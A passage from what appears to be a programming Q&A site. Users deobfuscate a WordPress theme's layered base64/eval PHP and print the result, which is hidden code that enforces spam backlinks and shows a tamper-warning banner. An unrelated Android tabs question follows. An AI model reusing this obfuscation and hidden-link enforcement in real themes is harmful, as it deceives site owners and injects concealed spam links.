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')))));
CODE;

while (strpos($code, 'eval') === 0) {
    echo $code, PHP_EOL;

    $code = substr_replace($code, 'echo', 0, 4);

    ob_start();
    eval($code);
    $code = trim(ob_get_clean());
}

echo $code, PHP_EOL;

This gives you a lot of garbage, and in the end this:
$cf_____________j='c';$ax________c='d';$nl_____d='_';$ci_______________b='e';$fi________v='d';$qu______________c='6';$hk______________o='a';$ar_____h='e';$hp__________a='s';$cc____e='b';$um_______u='o';$zs_______________s='e';$yr_______n='4';$lr_________a=$cc____e.$hk______________o.$hp__________a.$zs_______________s.$qu______________c.$yr_______n.$nl_____d.$ax________c.$ar_____h.$cf_____________j.$um_______u.$fi________v.$ci_______________b;$sh______b='i';$lw_______e='i';$bx__v='x';$uo_____________o='c';$jb________r='t';$ge______y='e';$jn_______________o='u';$sw__________b='n';$rb____________k='s';$xc_______j='n';$tu___________o='t';$lh______v='f';$hc____o='o';$eq____c='s';$ks____t='_';$ep________g=$lh______v.$jn_______________o.$sw__________b.$uo_____________o.$tu___________o.$sh______b.$hc____o.$xc_______j.$ks____t.$ge______y.$bx__v.$lw_______e.$rb____________k.$jb________r.$eq____c;$wj______________r='e';$pl________r='n';$oy____t='f';$pj_____________i='o';$zg________h='p';$xe___________h=$oy____t.$pj_____________i.$zg________h.$wj______________r.$pl________r;$um_______j='f';$bm_____________b='d';$ah_______g='e';$yw__y='r';$hy__________t='a';$oo____e=$um_______j.$yw__y.$ah_______g.$hy__________t.$bm_____________b;$zd__g='s';$ia_____a='o';$le_____v='e';$pi_____i='l';$xm____j='f';$dh_______________s='c';$bz___u=$xm____j.$dh_______________s.$pi_____i.$ia_____a.$zd__g.$le_____v;define("WP_ID", $lr_________a("Mi4wLjA="));define("WP_TTL", $lr_________a("MTA4MDA="));define("WP_SRC", $lr_________a("dHBva24="));function wp_get_header() {global $lr_________a, $ep________g;if ($ep________g($lr_________a("d3BfdGhlbWVfR1BMX2NyZWRpdHM=")) &&$ep________g($lr_________a("d3BfZ2V0X2Zvb3Rlcg==")) &&$ep________g($lr_________a("d3BfY3ZfdmVyaWZ5"))) {get_header();}}function wp_get_footer() {get_footer();wp_cv_verify();}function wp_cv_verify() {global $lr_________a, $xe___________h, $bz___u, $oo____e;$cw____g = TEMPLATEPATH."/".$lr_________a("Zm9vdGVyLnBocA==");$oz_______________l = @$xe___________h($cw____g, "r");$cw____g = @$oo____e($oz_______________l, @filesize($cw____g));@$bz___u($oz_______________l);$qk___e = TEMPLATEPATH."/".$lr_________a("ZnVuY3Rpb25zLnBocA==");$oz_______________l = @$xe___________h($qk___e, "r");$qk___e = @$oo____e($oz_______________l, @filesize($qk___e));@$bz___u($oz_______________l);$ds________m = 0;if($cw____g && $qk___e) {if ($lr_________a("Z2VuZXJpY3dwdGhlbWVzLmNvbQ==") !== str_replace("www.", "", $_SERVER["SERVER_NAME"])) {if (substr_count($cw____g, $lr_________a("Z2VuZXJpY3dwdGhlbWVzLmNvbQ==")) < 2) {$ds________m = 1;}if (substr_count($cw____g, "wp_theme_GPL_credits()") < 1) {$ds________m = 2;}}if(WP_ID != "2.0.0") {$ds________m = 12;}}if($ds________m > 0) {echo "<div style=\"position: fixed; bottom:0; left:0; width:100%; height: 25px; background-color: red; color: white; font-size: 16px; padding: 2px 10px; text-align: center;\"> <strong> This themes is powered by <a href=\"http://genericwpthemes.com\" style=\"color: white;\">Free Wordpress Themes</a>. This website violated the terms of use <a href=\"http://genericwpthemes.com\" style=\"color: white;\">Free Wordpress Themes</a> </strong> </div>";echo "<!-- v: $ds________m -->";}}function wp_loaded() {global $lr_________a, $ep________g;return $ep________g($lr_________a("d3BfdGhlbWVfR1BMX2NyZWRpdHM="));}if (!function_exists("the_content_limit")) {function the_content_limit($ov______t, $bx__________q = "(more...)", $sa_________e = 0, $rb____f = "") {$sy_______j = get_the_content($bx__________q, $sa_________e, $rb____f);$sy_______j = apply_filters("the_content", $sy_______j);$sy_______j = str_replace("]]>", "]]>", $sy_______j);if (strlen($_GET["p"]) > 0) {echo $sy_______j;}else if ((strlen($sy_______j)>$ov______t) && ($zk__________f = strpos($sy_______j, " ", $ov______t ))) {$sy_______j = substr($sy_______j, 0, $zk__________f);$sy_______j = $sy_______j;echo $sy_______j;echo "...";echo "<br/>";echo "<div class='read-more'><a href='".get_permalink()."'>$bx__________q</a></div></p>";} else {echo $sy_______j;}}}$zd__g='s';$ia_____a='o';$le_____v='e';$pi_____i='l';$xm____j='f';$dh_______________s='c';$bz___u=$xm____j.$dh_______________s.$pi_____i.$ia_____a.$zd__g.$le_____v;function wp_theme_GPL_credits() {echo 'Art by <a href="http://www.quickest-way-to-lose-weight.co">Quickest Way to Lose Weight</a> | <a href="http://www.driveway-alarm.info">Driveway Alarm</a> | <a href="http://www.medical-assistant-salary.info">Medical Assistant Salary</a>';}

And no, I'm not going to deobfuscate that result for you too. :P

A: After several iterations of replacing eval by echo (22 to be precise), this resulted from the code:
 $cf_____________j='c';$ax________c='d';$nl_____d='_';$ci_______________b='e';$fi________v='d';$qu______________c='6';$hk______________o='a';$ar_____h='e';$hp__________a='s';$cc____e='b';$um_______u='o';$zs_______________s='e';$yr_______n='4';$lr_________a=$cc____e.$hk______________o.$hp__________a.$zs_______________s.$qu______________c.$yr_______n.$nl_____d.$ax________c.$ar_____h.$cf_____________j.$um_______u.$fi________v.$ci_______________b;$sh______b='i';$lw_______e='i';$bx__v='x';$uo_____________o='c';$jb________r='t';$ge______y='e';$jn_______________o='u';$sw__________b='n';$rb____________k='s';$xc_______j='n';$tu___________o='t';$lh______v='f';$hc____o='o';$eq____c='s';$ks____t='_';$ep________g=$lh______v.$jn_______________o.$sw__________b.$uo_____________o.$tu___________o.$sh______b.$hc____o.$xc_______j.$ks____t.$ge______y.$bx__v.$lw_______e.$rb____________k.$jb________r.$eq____c;$wj______________r='e';$pl________r='n';$oy____t='f';$pj_____________i='o';$zg________h='p';$xe___________h=$oy____t.$pj_____________i.$zg________h.$wj______________r.$pl________r;$um_______j='f';$bm_____________b='d';$ah_______g='e';$yw__y='r';$hy__________t='a';$oo____e=$um_______j.$yw__y.$ah_______g.$hy__________t.$bm_____________b;$zd__g='s';$ia_____a='o';$le_____v='e';$pi_____i='l';$xm____j='f';$dh_______________s='c';$bz___u=$xm____j.$dh_______________s.$pi_____i.$ia_____a.$zd__g.$le_____v;define("WP_ID", $lr_________a("Mi4wLjA="));define("WP_TTL", $lr_________a("MTA4MDA="));define("WP_SRC", $lr_________a("dHBva24="));function wp_get_header() {global $lr_________a, $ep________g;if ($ep________g($lr_________a("d3BfdGhlbWVfR1BMX2NyZWRpdHM=")) &&$ep________g($lr_________a("d3BfZ2V0X2Zvb3Rlcg==")) &&$ep________g($lr_________a("d3BfY3ZfdmVyaWZ5"))) {get_header();}}function wp_get_footer() {get_footer();wp_cv_verify();}function wp_cv_verify() {global $lr_________a, $xe___________h, $bz___u, $oo____e;$cw____g = TEMPLATEPATH."/".$lr_________a("Zm9vdGVyLnBocA==");$oz_______________l = @$xe___________h($cw____g, "r");$cw____g = @$oo____e($oz_______________l, @filesize($cw____g));@$bz___u($oz_______________l);$qk___e = TEMPLATEPATH."/".$lr_________a("ZnVuY3Rpb25zLnBocA==");$oz_______________l = @$xe___________h($qk___e, "r");$qk___e = @$oo____e($oz_______________l, @filesize($qk___e));@$bz___u($oz_______________l);$ds________m = 0;if($cw____g && $qk___e) {if ($lr_________a("Z2VuZXJpY3dwdGhlbWVzLmNvbQ==") !== str_replace("www.", "", $_SERVER["SERVER_NAME"])) {if (substr_count($cw____g, $lr_________a("Z2VuZXJpY3dwdGhlbWVzLmNvbQ==")) < 2) {$ds________m = 1;}if (substr_count($cw____g, "wp_theme_GPL_credits()") < 1) {$ds________m = 2;}}if(WP_ID != "2.0.0") {$ds________m = 12;}}if($ds________m > 0) {echo "<div style=\"position: fixed; bottom:0; left:0; width:100%; height: 25px; background-color: red; color: white; font-size: 16px; padding: 2px 10px; text-align: center;\"> <strong> This themes is powered by <a href=\"http://genericwpthemes.com\" style=\"color: white;\">Free Wordpress Themes</a>. This website violated the terms of use <a href=\"http://genericwpthemes.com\" style=\"color: white;\">Free Wordpress Themes</a> </strong> </div>";echo "<!-- v: $ds________m -->";}}function wp_loaded() {global $lr_________a, $ep________g;return $ep________g($lr_________a("d3BfdGhlbWVfR1BMX2NyZWRpdHM="));}if (!function_exists("the_content_limit")) {function the_content_limit($ov______t, $bx__________q = "(more...)", $sa_________e = 0, $rb____f = "") {$sy_______j = get_the_content($bx__________q, $sa_________e, $rb____f);$sy_______j = apply_filters("the_content", $sy_______j);$sy_______j = str_replace("]]>", "]]>", $sy_______j);if (strlen($_GET["p"]) > 0) {echo $sy_______j;}else if ((strlen($sy_______j)>$ov______t) && ($zk__________f = strpos($sy_______j, " ", $ov______t ))) {$sy_______j = substr($sy_______j, 0, $zk__________f);$sy_______j = $sy_______j;echo $sy_______j;echo "...";echo "<br/>";echo "<div class='read-more'><a href='".get_permalink()."'>$bx__________q</a></div></p>";} else {echo $sy_______j;}}}$zd__g='s';$ia_____a='o';$le_____v='e';$pi_____i='l';$xm____j='f';$dh_______________s='c';$bz___u=$xm____j.$dh_______________s.$pi_____i.$ia_____a.$zd__g.$le_____v;function wp_theme_GPL_credits() {echo 'Art by <a href="http://www.quickest-way-to-lose-weight.co">Quickest Way to Lose Weight</a> | <a href="http://www.driveway-alarm.info">Driveway Alarm</a> | <a href="http://www.medical-assistant-salary.info">Medical Assistant Salary</a>';}


Q: How do I add sliding tabs to android app, that already has nav drawer I have an app which has a nav drawer already, I want to add some sliding tabs to a couple fragments to limit the content that you have to scroll through.
I am having trouble combining he two (drawer panel and sliding tabs) from examples I've found on the web.
Thanks for any help!!!!


